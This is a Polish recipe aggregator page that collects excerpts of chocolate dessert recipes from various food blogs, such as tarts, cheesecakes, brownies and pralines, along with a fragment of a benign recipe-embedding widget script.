ciasta będzie do 2/3 wysokości) i wstawić do nagrzanego do 180 stopni piekarnika. Piec około. 25 minut. Składniki do dekoracji: - 100 g twarożku lub serka homogenizowanego - 70 – 80 g czekolady białej - wiórki kokosowe - żółty barwnik - draże czekoladowe Wykonanie: Czekoladę rozpuścić w gorącej kąpieli wodnej, dodać pokruszony twarożek, wymieszać. Wiórki kokosowe zabarwić na żółto. każdą babeczkę smarować masą z twarożku(...)czekolady, pokryć wiórkami, oczka i dziubek zrobić z draży. Smacznego function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp']; for(var i = 0, len = versions.length; i var url='http://cookd.it/embed/ajax.php?action=check&recipe=http://dom-agi.pl/muffinka-kurczaczek/&blog=http://dom-agi.pl'; url=url.replace(/#038;/g,''); load(url, function(xhr) { if (xhr.responseText!='Unknown blog') { insertCookd

dom-agi.pl
Twarożek z lodowego wafelka 171

minut , zatem do dzieła. Składniki na 3 wafelki: 250 g pełnotłustego twarożku 3 wafelki 8 pralinek Ferrero Rocher 1 mały banan sok z cytryny 2 łyżki cukru 50 g czekolady + 50 ml śmietany kremówki Wykonanie: 2 pralinki przeciąć na pół i odłożyć na bok , resztę grubo posiekać banany pokroić w plasterki i skropić sokiem z cytryny. 6 plasterków odłożyć(...)dekoracji zagotować śmietanę kremówkę w garnuszku , dodać czekoladę połamaną w kawałki i mieszać do rozpuszczenia połowę rozpuszczonej czekolady i cukier wymieszać z twarożkiem. Dodać posiekane pralinki i banany czekoladowym serkiem napełnić wafelki. Przyozdobić połówkami odłożonych pralinek i plasterkami bananów. Polać resztą polewy czekoladowej podawać zaraz po przygotowaniu , póki wafelki są chrupiące

Gotuj zdrowo!Guten Appetit!
Ciasto pomarańczowe w wersji odchudzonej 135

ksylitolu 1 ,5 szklanki mąki pszennej pełnoziarnistej czubata łyżeczka proszku do pieczenia pół łyżeczki sody oczyszczonej 50g kakao niskotłuszczowego 50g płatków migdałów do posypania Polewa: 3/4 tabliczki czekolady gorzkiej o zaw. kakao min. 70% 2 łyżki mleka 1 łyżeczka masła Pomarańcze (w całości) gotujemy na małym ogniu pod przykryciem ok. 2 godzin. Odstawiamy do przestygnięcia, następnie kroimy i miksujemy(...)drugiej misce mieszamy wszystkie pozostałe składniki mikserem. Dodajemy pomarańczowe puree i znów miksujemy. Pieczemy ok. godziny (w zależności od mocy piekarnika - do suchego patyczka) w 180 stopniach. Robimy polewę - czekoladę kruszymy, wkładamy do garnka, wlewamy mleko. Wstawiamy do wrzącej kąpieli wodnej i ciągle mieszając rozpuszczamy. Ważne - para wodna nie może dostać się do czekolady, dlatego garnek z polewą musi idealnie

Powiedz dietom nie
Zdrowe lody z awokado 106

szklanka mleka 1,5% 2 dojrzałe (!) sztuki awokado 2-3 łyżki syropu z agawy (zamiennie miód, ksylitol, stewia) 3 łyżki kakao wanilia/cukier z prawdziwą wanilią Polewa: 1/2 tabliczki gorzkiej czekolady kilka pistacji (lub innych ulubionych orzechów) Awokado przekrajamy na pół, wydrążamy miąższ i blendujemy z pozostałymi składnikami. Wlewamy do foremek. Górę polewamy roztopioną w mikrofali lub kąpieli wodnej czekoladą(...)posypujemy posiekanymi orzechami. Możemy też zamrozić lody, a dopiero po całkowitym zestaleniu obtoczyć w czekoladzie i orzechach. Mrozimy kilka godzin, w zależności od wielkości foremek

Powiedz dietom nie
Różowa Tarta 162

Składniki: 300 g OREO 0,5 tabliczki gorzkiej czekolady  1/4 kostki masła 150 g pianek marshmallows  kubek pełnego mleka (3,2%) 0,5 kubka likieru liczi  2 op śmietany kremówki kilka malin Przygotowanie: Wszystkie składniki na spód,czyli ciasteczka, czekoladę oraz masło wkładamy do blendera i miksujemy na mokry piasek  Przygotowujemy formę na tartę - smarujemy masłem(...)mikserem), aż do połączenia i powstania jednolitej masy.  Gotową masę wykładamy na spód i wstawiamy na ok 4 godziny do lodówki:) Przed podaniem dekorujemy pokruszonymi ciasteczkami, piankami oraz czekoladą:) Smacznego

Luźna Kuchnia
Piernik z piwem 210

łyżeczka sody oczyszczanej 1 łyżka korzennej przyprawy do piernika 1 szkl cukru 0,5 szkl miodu   2/3 szklanki ciemnego piwa- typu porter   2 tabliczki czekolady- gorzka i karmellowa od Wedla:) Przygotowanie: Margarynę ucieramy z jajkami i odrobiną cukru. Piwo podgrzewamy z przyprawą do piernika, cukrem i miodem na małym ogniu. Studzimy. Obie masy łączymy, najlepiej kulą/ pałką(...)pomarańczową:) Z tej ilości ciasta wychodzą dwie foremki keksowe piernika:) Pieczemy około 30 minut w temp. 180"C,  a po ostudzeniu kroimy na pół i smarujemy powidłami śliwkowymi. Czekoladę gorzką oraz karmelową łamiemy i roztapiamy w kąpieli wodnej, każdą osobno, dodajemy po łyżce masła i odrobinie mleka. Polewamy pierniki zalotną falą czekoladowo- karmellovą i dekorujemy orzechami:) P.S Piernik pieczemy

Luźna Kuchnia
CZEKOLADOWE ciasto RETRO 147

Składniki: 2 tabliczki gorzkiej czekolady z zawartością min 85% kakao 4 jajka 0,5 kostki masła 4 łyżki mąki tortowej 2 łyżki mąki ziemniaczanej 1 budyń czekoladowy 1 łyżeczka proszku do pieczenia 0,5 kubka cukru muscovado 1 kubek białego cukru 2 kubeczki śmietany 30%(400ml) szczypta soli 1 op orzeszków pecan Przygotowanie: masło rozpuszczamy, dodajemy połamaną czekoladę, mieszamy

Luźna Kuchnia
Placuszki bananowe z czekoladą 217

Naszła mnie nagła chęć na coś słodkiego. Postanowiłam więc przygotować słodkie śniadanie - placuszki bananowe z migdałami i czekoladą. Wyszły puszyste i mięciutkie. Doskonale smakują posypane cukrem pudrem lub podane z ulubionym dżemem. Potrzebne nam: -1,25 szklanki mąki - niecałe 1/2 szklanki mleka - pół łyżeczki proszku do pieczenia - pół łyżeczki cukru waniliowego - 3 łyżeczki brązowego cukru - 1 duży banan - 4 kostki(...)czekolady - łyżka płatków migdałowych - jedno jajko - olej do smażenia - cukier puder lub dżem Przygotowanie:  Mąkę, mleko, jajko, cukier i proszek do pieczenia zmiksować na gładką masę. Banana rozgnieść widelcem i dodać do masy. Czekoladę pokroić na małe kawałki i razem z płatkami migdałowymi wmieszać do masy. Masę nakładać porcjami na rozgrzaną patelnię z odrobiną oleju i smażyć placuszki

W poszukiwaniu inspiracji
Tort piernikowy z masą śliwkową w czekoladzie. 152

mieszamy. Odstawiamy do wystudzenia. Masło ucieramy kilka minut do białości i puszystej masy, dodajemy doń budyń i miksujemy. Dodajemy odsączone śliwki. Mieszamy delikatnie. Polewa: -masło łyżka -250 gram gorzkiej czekolady -1 żółtko -skórka pomarańczowa -cukier waniliowy Żółtko  ucieramy na puszysto z cukrem waniliowym, czekoladę rozpuszczamy w rondlu z masłem, gdy czekolada stanie się płynna dodajemy żółtko szybko mieszając. Odstawiamy

BaRepas
Torcik brownie z borówkami 387

malinami w bardziej klasycznej formie już wcześniej pojawiło się na blogu, można zobaczyć je tutaj , po wypróbowaniu mogę zapewnić, że borówki też pasują świetnie :) Składniki: 100 g gorzkiej czekolady 100 g masła 3 jajka 150 g cukru 50 g mąki 2 łyżki kakao orzechy włoskie borówki + krem czekoladowy (u mnie Lindt) Do miski przekładamy połamaną na kawałki czekoladę, masło(...)temperaturze 150 stopni około 40 -50 minut lub do suchego patyczka. Po upieczeniu ciasto wyciągamy z formy. Kiedy nieco przestygnie dekorujemy kremem czekoladowym (można użyć też zwykłej rozpuszczonej czekolady) i borówkami. Smacznego! ciastkożercy

Ciastkozercy
Chleb z Watykanu (Chleb szczęścia) 151

wraz z całym oryginalnym opisem wykonania, ale chciałam zaznaczyć, że każdy indywidualnie powinien do tego opisu podejść... Ja używałam miski plastikowej i plastikowej łyżki do mieszania. Nie dałam też czekolady bo nie miałam i chyba nawet źle się to nie skończyło, bo z samym jabłkiem chlebek jest dosyć słodki.  Reszta poniżej:) Chlebek mi pękł, ale dzięki temu ma urok(...)mleka 1/2 kg mąki 250 ml oleju 3 całe jajka 1/2 paczki proszku do pieczenia 1/2 łyżeczki soli 1 cukier waniliowy 2 starte na tarce jabłka 1 starta czekolada CYTAT : " *Aby chleb szczęścia się udał należy przestrzegać zasad: nie lubi metalu, należy mieszać plastikową lub drewnianą łyżką (miska plastikowa, szklana). Przechowywać w temperaturze pokojowej, przykryć lnianą ściereczką. Poniedziałek - chleb* wlać

www.szczesliwakuchnia.blogspot.com
Migdały Rocher 96

Przepis na migdały dostałam od koleżanki. Moja córka je uwielbia. Proporcje są przeliczone na 25 sztuk. Czekoladę mleczną można zastąpić gorzką, ale ja zdecydowanie wolę tę pierwszą:) Składniki: 340g czekolady mlecznej 520g migdałów w kształcie słupków cukier do posypania migdałów syrop 30% (50g cukru + 50ml wody) papilotki Migdały zwilżyć syropem i zamieszać, tak aby wszystkie były mokre, ale nie leżały(...)temperaturze 160'C, aż będą chrupiące. Ja piekłam 15 minut, ale czas zależy od piekarnika. Mój coś szwankuje i z jednej strony trochę bardziej przypieka... Pokrojoną na kawałki czekoladę rozpuścić w kąpieli wodnej, dodać migdały i wymieszać Masę nałożyć łyżeczką do papierowych foremek i odstawić do zastygnięcia. Ja nakładałam łyżką do lodów i włożyłam do lodówki Smacznego

www.szczesliwakuchnia.blogspot.com
Ciasteczka z kaszy manny 152

Bardzo szybkie do zrobienia. A czas pieczenia to tylko 10, góra 15 minut. Środek można wypełnić dżemem, czekoladą, marmoladą orzechami czy budyniem. Składniki : 3/4 szklanki kaszy manny 1 szklanka mąki pszennej 1/3 szklanki cukru 1 opakowanie cukru waniliowego 70 gramów masła 2 jajka 1 płaska łyżeczka proszku do pieczenia Na nadzienie:  1 opakowanie budyniu,  czekolada, marmolada, dżem(...)masa będzie się kleiła do rak, to podczas formowania ciasteczek moczymy dłonie w wodzie Formujemy kuleczki, a w środku robimy dziurkę Układamy na papierze do pieczenia, w dziurkę wkładamy czekoladę, marmoladę lub tak, jak ja - budyń. Musicie jednak pamiętać, że nie zużyjecie całego budyniu. Możecie więc na przykład zwiększyć proporcje składników Pieczemy ok. 10-15 minut  Smacznego

www.szczesliwakuchnia.blogspot.com
Drożdżówka z czekoladą i rodzynkami z automatu 193

ruch poszedł automat do chleba..wystarczy wrzucić składniki , ustawić odpowiedni program i gotowe...nic więcej nie trzeba robić ..Przepis na na ciasto drożdżowe podpatrzyłam tutaj .. ja dodatkowo dodałam pokruszoną czekoladę i pokrojone śliwki, daktyle i rodzynki..Ustawiłam program wedle autorki przepisu na jasną skórkę, ale mi się nie upiekła tak jak trzeba..więc dodatkowo jeszcze dopiekłam kilka minut(...)aromat 10 dkg cukru [ u mnie 7 dkg i 2 łyżki miodu mniszkowego ] szczypta soli 50 dkg  mąki 2 łyżeczki suszonych drożdży lub 20 g świeżych kilka kostek czekolady garść rodzynek, daktyli , śliwki suszonej Wszystkie składniki wsypać do formy wg podanej wyżej kolejności, na mące rozsypać drożdże lub rozkruszyć świeże (nie mogą mieć kontaktu z cukrem ani solą). Ustawić

Moje domowe kucharzenie
Czekoladowa tarta z bananami i orzechową posypką. 125

mąki pszennej TYP550 -100 gram miękkiego masła -50 gram cukru pudru -jedno żółtko Na masę: -200ml śmietanki 30% -dwie duże łyżki śmietany 36% -duża łyżka kakao -150 gram czekolady gorzkiej -50 gram czekolady mlecznej -cukier waniliowy -skórka pomarańczy -jajko -dwa banany -garść orzechów włoskich Z mąki, cukru i masła zagniatamy ciasto, dodajemy żółtko i formujemy kulę. Zawijamy(...)formę i nakłuwamy je widelcem, boki dolepiamy do formy. Wkładamy do piekarnika na 12 minut w temperaturze 180 stopni góra - dół. Śmietankę i śmietanę podgrzewamy, dodajemy do niej kostki czekolad i kakao. Mieszamy i doprowadzamy do delikatnego wrzenia. Zdejmujemy z ognia i dodajemy skórkę pomarańczową.   Jajko z cukrem waniliowym ubijamy na puszystą pianę i cały czas mieszając dodajemy

BaRepas
Churros z sosem czekoladowo mandarynkowym 72

całkowicie oblane olejem).Smażymy, aż uzyskamy złoty kolor. Następnie układamy je na papierowym ręczniku, żeby pozbyć się nadmiaru oleju. Podajemy posypane cukrem pomieszanym z cynamomen lub w towarzystwie rozpuszczonej czekolady. Sos czekoladowy: 1 tabliczka gorzkiej czekolady 1 łyżeczka ekstraktu z wanilii sok z jednej klementynki Czekoladę roztapiamy w kąpieli wodnej, następnie dodajemy sok z klementynki oraz ekstrakt z wanilii. Mieszamy

noteskulinarnyfiga
Tarta rabarbarowo jabłkowa z bardzo czekoladową pianką 96

Dzisiaj mam dla was przepis na tartę rabarbarowo jabłkową z bardzo czekoladową pianką. Ciasto jest delikatne, nie za słodkie, lekko kwaskowate z nutką gorzkiej czekolady. Mam też inne pomysły na desery z wykorzystaniem rabarbaru, ale o tym innym razem. składniki na ciasto: 250 g mąki 65 g drobnego cukru szczypta soli 2/3 kostki masła 1 jajko 2 łyżki śmietany kremówki(...)masła 2 łyżeczki cynamonu 6 łyżek brązowego cukru 2 łyżki mąki ziemniaczanej rozpuszczone w niewielkiej ilości wody Pianka: 5 białek szczypta soli 4-5 łyżek cukru pudru ¾ tabliczki gorzkiej czekolady Rabarbar obieramy i kroimy na cząstki, jabłka w ten sam sposób. W garnku rozpuszczamy łyżkę masła, wrzucamy rabarbar i jabłka, dodajemy brązowy cukier , posypujemy cynamonem i gotujemy aż zmięknie. Część

noteskulinarnyfiga
Pieczone banany z czekoladą nussbeisser i sokiem pomarańczowym 96

chyba najprostszy i najszybszy deser, który możemy przygotować w każdej chwili z łatwo dostępnych składników. Potrzebujemy: banany, czekoladę nussbeisser, świeży sok wyciśnięty z pomarańczy oraz borówki do dekoracji. Nacinamy skórkę banana i w środek wbijamy kawałeczki czekolady. Zapiekamy na grillu w folii aluminiowej lub w piekarniku z funkcją grill do momentu, aż skórka będzie ciemno brązowa, a czekolada się roztopi

noteskulinarnyfiga
Słodkie środy - murzynek z kakaową bitą śmietaną 122

łyżek cukru pudru 2 łyżki kakao PRZYGOTOWANIE: Do garnka wkładamy masło, dodajemy cukier, mleko oraz kakao - doprowadzamy do wrzenia, mieszamy stale przez około 7 minut.  Z uzyskanej czekolady odlewamy około pół szklanki.  Do pozostałej przestudzonej czekolady dodajemy przesianą mąkę oraz żółtka, dokładnie mieszamy. W między czasie ubijamy na sztywno białka ze szczyptą soli, dodajemy je do naszego ciasta(...)sztywno, dodajemy cukier puder oraz kakao, następnie dodajemy schłodzoną, rozrobioną w szklance wody żelatynę.  Upieczone ciasto dzielimy na 3 krążki, przekładając uzyskaną masą.  Górę ciasta polewamy pozostałą czekoladą.  Odstawiamy do lodówki do całkowitego zastygnięcia. Smacznego

Kulinarny Świat Konczi i Szpileczki
Słodkie środy - sernik kawowy ze złotą karmelową nitką 156

Sernik kawowy ze złotą karmelową nitką SKŁADNIKI : Na spód: 100 g herbatników 100 g płatków owsianych 1 łyżka bułki tartej 2 łyżki cukru 120 g masła 50 g gorzkiej czekolady Na środek: 550 g serka o smaku waniliowym z dodatkiem laski wanilii 1/2 szklanki cukru 1/4 szklanki cukru trzcinowego 4 jajka 1 czubata łyżka mąki pszennej 1 łyżeczka kawy rozpuszczalnej(...)deserów 2 łyżki cukru pudru 150 g serka mascarpone Na dekorację: 1 łyżka orzechów laskowych 1 łyżka migdałów 4 łyżki cukru Przygotowanie: Masło roztapiamy, osobno roztapiamy w kąpieli wodnej czekoladę. Herbatniki kruszymy,  dodajemy do nich płatki owsiane, bułkę tartą , dwie łyżki cukru i mieszamy.    Do tego wlewamy roztopione masło i czekoladę i łączymy składniki.    Tortownicę

Kulinarny Świat Konczi i Szpileczki
Słodkie środy - sernik ze śmietaną i owocami 145

czubata łyżka mąki pszennej 1/2 łyżeczki kawy rozpuszczalnej 100 g herbatników 100 g płatków owsianych 1 łyżka bułki tartej 2 łyżki cukru 120 g masła 50 g gorzkiej czekolady 200 ml śmietany 30 % 2 łyżki cukru pudru 1,5 łyżeczki żelatyny kilka truskawek 2 brzoskwinie  1 galaretka brzoskwiniowa  PRZYGOTOWANIE: W rondelku roztapiamy masło. Czekoladę rozpuszczamy w kąpieli wodnej(...)Herbatniki kruszymy bardzo drobno, dodajemy do nich płatki owsiane, bułkę tartą i dwie łyżki cukru i mieszamy. Do tego dodajemy roztopione masło i czekoladę i dokładnie mieszamy. Tortownicę o wielkości 23 cm wykładamy papierem do pieczenia i przekładamy masę z herbatników i płatków. Masę rozkładamy i uklepujemy łyżką na dnie i bokach formy. Kawę rozpuszczamy w łyżce wrzątku. Jajka ucieramy

Kulinarny Świat Konczi i Szpileczki
Słodkie środy - Murzynek z bitą smietaną i czekoladową pajęczyną 340

cienkim strumieniem wlewamy żelatynę. Ostudzonego murzynka przekrawamy na pół i wykładamy śmietanę, po czym przykrywamy górą. Murzynka dekorujemy polewami ciemną i jasną. Aby zrobić pajęczynę najpierw polewam ciemną czekoladą i kiedy ona będzie jeszcze mokra białą czekoladą rysujemy jakby spiralę i przeciągamy wykałaczką po czekoladzie od środka na zewnątrz ciasta

Kulinarny Świat Konczi i Szpileczki
Naleśniki herbaciano - brzoskwiniowe pysznie nadziane 259

oliwa lub olej kokosowy do smażenia Na krem: 250 g sera mascarpone 180 g śmietany 30 % 2 łyżki cukru pudru 3-4 połówki brzoskwiń z puszki ewentualnie kilka kostek czekolady PRZYGOTOWANIE: Saszetkę herbaty zalewamy niepełną szklanką wody i zaparzamy, lekko studzimy.  Mąkę mieszamy  z proszkiem do pieczenia i cukrem, po czym dodajemy jajko, wlewamy zaparzoną herbatę(...)przygotowaną masą smarujemy naleśniki. Ja smaruje naleśniki dopiero gdy lekko przestygną, aby masa się nie rozpływała.   Naleśniki zwijamy w ruloniki i ewentualnie możemy polać roztopioną czekoladą. Dziś do przygotowania naleśników wykorzystałam jeden ze smaków herbat Richmont . Wybrałam smak peach lemon star czyli mieszankę owocową kryjącą słodycz brzoskwini pod cytrusowym bukietem, gdyż chciałam aby naleśniki miały wyczuwalny brzoskwiniowy smak

Kulinarny Świat Konczi i Szpileczki
Afrodyta 2286

piękną słoneczną sobotę zapraszam na pyszne ciasto Afrodyta. Może upieczecie je ukochanej osobie z okazji Walentynek. Ciasto pełne afrodyzjaków: truskawki, cynamon, czekolada- czego chcieć więcej? SKŁADNIKI: Biszkopt ciemny: 4 jajka, 3/4 szklanki cukru, 6 łyżek oleju, 1 szklanka mąki, 1,5 łyżki kakao, 1/2 łyżki cynamonu, 1/2 łyżki proszku do pieczenia, Biszkopt jasny: 2 jajka, 1/2 szklanki cukru, 2/3 szklanki(...)opakowania galaretki truskawkowej, Masa budyniowa: 500 ml mleka, 2 opakowania budyniu śmietankowego, 1 kostka masła, 5 łyżek cukru pudru, 1 kieliszek spirytusu, Dodatkowo: polewa czekoladowa, 1/2 tabliczki białej czekolady. PRZYGOTOWANIE: 1. Biszkopt ciemny: Białka ubijam na sztywną pianę. Naprzemiennie dodaję cukier oraz żółtka. Nadal ubijając stopniowo dodaję olej, mąkę, kakao, cynamon oraz proszek do pieczenia. Ciasto wylewam na blaszkę (wymiary

Tradycyjna kuchnia Kasi
Koktajl kawowo-bananowy 315

jako chłodny napój, imbir i przyprawy rozgrzeją wasze serca :) Więc polecam wszystkim zakochanym i nie tylko...  Składniki: 250 ml kawy 1-2 ziarna kardamonu 2 banany kostka gorzkiej czekolady szczypta cynamonu Opcjonalnie: szczypta imbiru lub mielonych goździków Napar z kawy zagotować z kardamonem, po czym usunąć ziarna, a płyn ostudzić. Banany obrać, pokroić, zalać kawą, dodać cynamon (lub proponowane(...)przyprawy) i zmiksować. Czekoladę zetrzeć na tarce o drobnych oczkach. Koktajl rozlać do szklanek i posypać startą czekoladą

Konrad Gotuje
Dietetyczne pralinki walentynkowe 221

Walentynki już za pasem, dlatego warto pomyśleć o deserze na ten wyjątkowy dzień. Moją dzisiejszą propozycją są dietetyczne pralinki. Ich podstawowym składnikiem jest ciemna czekolada. Dodatki w postaci świeżych/suszonych owoców, bakalii lub cynamonu.           Ja wykorzystałam:  - świeże maliny, - gorzką czekolada,  - chilli  Do wykonania czekoladek niezbędna będzie forma do pralin, którą napełniamy(...)roztopioną czekoladą, a następnie zanurzamy w niej maliny. Jeśli chcemy nadać pikanterii naszemu deserowi d o masy czekoladowej  dodajemy szczyptę chilli

Fit-amina
Deser z gorzkiej czekolady 216

Idealny deser dla wielbicieli delikatnych słodkości. Można go jeść łyżką lub po prostu "zamaczać w nim usta".  Deser z gorzkiej czekolady jest delikatny, nie za słodki. Wspaniale się komponuje z herbatniczkami i miłą pogawędką. Składniki: 1 szklanka śmietanki 30% 1 szklanka mleka 1 tabliczka gorzkiej czekolady (90g) 2 łyżeczki cukru waniliowego 1 1/2 łyżeczki żelatyny + 2 łyżki gorącej wody(...)Przygotowanie: Mleko, śmietankę i cukier waniliowy gotujemy w garnku z grubszym dnem. Dodajemy połamaną na kawałki gorzką czekoladę. Mieszamy aż do rozpuszczenia. Zmniejszamy moc palnika na minimalną, powoli wlewamy rozpuszczoną w wodzie żelatynę cały czas mieszając. Odstawiamy do ostygnięcia. Następnie mieszamy i wkładamy do lodówki (na około 2 godziny). Przed podaniem jeszcze raz delikatnie mieszamy. Smacznego

Słodkie okruszki
Orzechowa Tarta bez pieczenia 302

laskowe, brazylijskie, nerkowca, migdały) 2 łyżki masła orzechowego -  TU  znajdziesz w promocji  2 łyżki masła kokosowego - PRZEPIS 1 garść namoczonych daktyli bez pestek (suszonych) gorzka  czekolada- TU     jest w promocji  SPOSÓB PRZYGOTOWANIA Migdały, mieszankę orzechów i daktyle suszone bez pestek zalewamy wrzątkiem i odstawiamy na 10-15 minut. Później należy je wyciągnąć(...)wyłożonej papierem do pieczenia i formujemy. Należy odstawić do  wyschnięcia. Jako że potrwa to jakaś chwilę to możemy w tym czasie zacząć przygotowywać krem. Wszystkie składniki oprócz czekolady umieszczamy w misie malaksera miksujemy na bardzo gładką masę. Wykładamy na spód tarty i rozprowadzamy równomiernie (ja miałam mokre ręce to i masa nie lepiła mi się do rąk). Wierzch posypujemy

ClauditteMissCooking
Budyń kawowy z czekoladowymi serduszkami 151

byłam mała nie wyobrażałam sobie tygodnia bez budyniu. To i biała czekolada, to były chyba moje najukochańsze smakołyki. Choć...no dobrze, było ich o wiele więcej ;) Był ze mnie mały łasuch, który drzemie we mnie po dziś dzień. Dziś również naszła mnie ochota na budyń. Ale nie taki sklepowy, ale swój własny, domowy budyń i to na dodatek o nietypowym(...)wykorzystania przy innych przepisach) 2 łyżki mąki ziemniaczanej 1 łyżka mąki pszennej 1 1/2 łyżeczki masła 3 łyżki cukru (lub mniej, według upodobań) pół tabliczki gorzkiej lub mlecznej czekolady (na serduszka) Przygotowanie: Odlewamy około 3/4 szklanki mleka, mieszamy z mąką ziemniaczaną i pszenną oraz żółtkiem. Pozostałe mleko z cukrem i masłem gotujemy w garnku z grubym dnem. Do gotującego się

Słodkie okruszki
Banany z kokosową nutką pod kakaowym ciastem 218

łyżeczki do wysmarowania foremek 1 łyżka cukru 2 łyżki mąki pszennej 1 łyżka kakao 2 średnie banany 2 łyżeczki wiórków kokosowych 2 łyżeczki brązowego cukru 4 kostki gorzkiej czekolady Przygotowanie: Do wysmarowanych masłem foremek wkładamy pokrojone banany. Posypujemy je wiórkami kokosowymi. W misce przygotowujemy ciasto. Wsypujemy mąkę, cukier, kakao, dodajemy miękkie masło. Łączymy ręką. Ciasto układamy na wierzchu każdej(...)foremki. Wstawiamy do nagrzanego do 180 stopni piekarnika. Pieczemy 20 minut. Po tym czasie wyłączamy piekarnik. Wyciągamy na chwilę foremki posypujemy brązowym cukrem i układamy po dwie kostki czekolady. Wkładamy do jeszcze nagrzanego piekarnika na około 3 minuty (aż czekolada lekko się zacznie topić). Wyciągamy. Smacznego

Słodkie okruszki
Ciasto waniliowo-czekoladowe 841

pewno też tak czasem macie , że macie ochotę na szybkie i pyszne ciasto ? ja bardzo często tak mam i dlatego któregoś dnia po przejrzeniu książeczki " Czekolada" znalazłam świetny przepis , którym się z Wami teraz podzielę :) Wymiary blaszki: 30 x 12 cm Temp. pieczenia : 190 C Czas pieczenia : 30 - 40 minut Składniki: 3/4 szkl. cukru 3/4 kostki margaryny 1/2 łyżeczki esencji(...)waniliowej ( można użyć zwykłego waniliowego aromatu) 3 jajka 1 i 3/4 szkl. przesianej mąki 1,5 łyżeczki proszku do pieczenia 50 g czekolady deserowej Sposób przygotowania: Ucieramy miękką margarynę z cukrem na puszystą , gładką masę . Wlewamy esencję waniliową , stopniowo dodajemy całe jajka . Cały czas miksując , wsypujemy mąkę z proszkiem do pieczenia. Miksujemy na gładką masę . Dzielimy masę na pół

Słodkości i nie tylko
WŁÓŻ GO SOBIE DO UST. KAWAŁEK BROWNIE Z WIŚNIAMI UNURZANYMI W TOFFI. 213

pierwsze rozwiązanie. Choć na pewno nie od razu! Tyle smaków i słodyczy w jednym zdarza się rzadko. Zapraszamy na kawałek brownie z wiśniami i toffi. składniki: 3 tabliczki gorzkiej czekolady 1 kostka masła 3 jajka 1 i 1/2 szklanki cukru 3/4 szklanki mąki 1 szczypta soli 2-3 garści wiśni kilka łyżek toffi (lub masy krówkowej) wykonanie: Czekoladę i masło(...)rozpuszczamy na wolnym ogniu. Po rozpuszczeniu studzimy. Jajka i cukier ubijamy mikserem. Wlewamy do nich ostudzoną czekoladę z masłem, mieszamy. Na koniec dodajemy mąkę i sól, mieszamy. Okrągłą foremkę do pieczenia, wykładamy papierem na dnie, wlewamy masę, wrzucamy na wierzch garść wydrylowanych i odsączonych/odciśniętych wiśni i pieczemy w temperaturze 160 stopni przez 20-30 minut. Brownie po upieczeniu

GRUBY WAŁEK
Bajaderki - ziemniaczki 180

zewnętrznych ozdób bo takie lubimy najbardziej;) Serdecznie polecam:) Składniki: ok. 1 kg ciastek,mogą być herbatniki,(nie dodajemy ciasta z kremem i owocami) 5 łyżek kakao pół tabliczki gorzkiej czekolady słoiczek powidła śliwkowego(u mnie własnej roboty) łyżka miodu 1/4 szklanki cukru pudru(ilość cukru zależy od słodkości użytych ciastek, można zmniejszyć bądź zwiększyć jego ilość) 6 łyżek wódki garść(...)orzechów pokruszonych garść kokosu pół szklanki mleka 100 gram masła Wykonanie: Ciastka pokruszyć w rękach, można to także uczynić blenderem. Kakao, czekoladę, mleko, masło i cukier rozpuścić w garnuszku na jednolitą masę, delikatnie przestudzić.Kolejno masę dodać do pokruszonych ciastek i wymieszać do połączenia się składników.Następnie dodajemy powidła śliwkowe, alkohol, garść kokosu, miód oraz pokrojone na mniejsze kawałki orzechy

Krakowskie smaki Ani
Tort mocno kokosowy 128

razem miałam przyjemność przygotować tort na wieczór panieński mojej kochanej kuzynki;) Mocno kokosowy masa z dodatkiem czekolady na jasnych biszkoptach z pewnością zadowoli nie jedno wybredne podniebienie;) Tort nie jest skomplikowany w wykonaniu ale przy swojej prostocie niezwykle smaczny. Idealny na każdą domową uroczystość. Przepis pochodzi ze strony Moje Wypieki . Jakość zdjęcia kiepska bo robione aparatem w telefonie ale innego(...)kremówki 36 % 625 gram serka mascarpone 2/3 szklanki cukru pudru  szklanka wiórek kokosowych  4 łyżki syropu kokosowego bądź jak w oryginale Malibu  Ponadto: 50 gram gorzkiej czekolady  Wykonanie kremu: Kremówkę ubić na sztywno, następnie dodać do niej serek mascarpone i delikatnie wymieszać. Kolejno do masy dodajemy cukier puder i mieszamy na delikatnych obrotach miksera. Następnie dodajemy

Krakowskie smaki Ani
Beza z kremem czekoladowym 371

mój ulubiony deser. Słodkie, kruche blaty, soczyste owoce i kremowy, aksamitny krem. Wszystko ze sobą współgra idealnie! Zawsze korzystałam z serowego kremu, ale tym razem połączyłam go z białą czekoladą. To musiało się udać!  Składnika : 6 białek (wielkość M) 300 g cukru pudru 1 łyżeczka octu winnego jabłkowego 1 łyżka mąki ziemniaczanej 200 ml śmietanki 36% biała czekolada(...)pieczemy kolejne 40 minut najlepiej z termoobiegiem. Bezę odstawiamy do całkowitego ostygnięcia - najlepiej na całą noc. Zimną śmietankę przelewamy do zimnego, najlepiej szklanego naczynia, dodajemy białą czekoladę i lekko podgrzewamy do całkowitego rozpuszczenia. Następnie śmietankę wstawiamy do lodówki do ostudzenia - również najlepiej pozostawić ją dna całą noc. Po tym czasie śmietankę ubijamy na sztywno. Następnie do miseczki

Słodkie Przyjemności
Szafirowa torebka i malinowy rabarbar. 130

białym kremem czekoladowo-pistacjowym . Nie myliłam się. Tak przygotowany rabarbar smakuje cudownie. Maliny dodają rabarbarowi uroku nie tylko jeśli chodzi o smak, ale także o piękny rubinowy kolor. Biała czekolada delikatnie dosładza całość, a pistacje w tym kwartecie wydają się po prostu niezastąpione! Nie mogłabym wymarzyć sobie smaczniejszego deseru na zakończenie kolejnej wspaniałej soboty!  RABARBAR MALINOWY Z BIAŁYM KREMEM(...)ładniki na 4 porcje/ 500 g rabarbaru 200 ml malinowego puree /zastąpiłam domową galaretką z malin, jeszcze z zimowych zapasów/ 400 ml bitej śmietany 150 g białej czekolady 100 ml pistacjowego pure / zastąpiłam drobno zmiksowanymi orzeszkami pistacjowymi/ garść malin do ozdobienia - użyłam mrożonych z zeszłego lata Rabarbar umyć i pokroić na równe kawałki ( u mnie

KUCHARNIA
TU I TAM nr 22. Piękno i jedzenie, czyli domowa manufaktura jadalnych kosmetyków 148

